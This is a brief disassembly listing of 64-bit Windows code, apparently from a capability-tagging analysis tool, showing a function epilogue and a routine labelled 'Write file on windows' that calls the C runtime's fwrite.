mov r9d, dword [rbx + 0x2ff8]
call fcn.180003fe0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.18000dec0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180054760
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1800188a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x3098], 0
lea rbx, [rcx + 0x30a0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x180018947
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x1800188fa
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18001abf0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.180004a00
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x3098]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x30a8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x18006d2a1]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18001894f
mov rcx, rbx
call fcn.180004a00
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret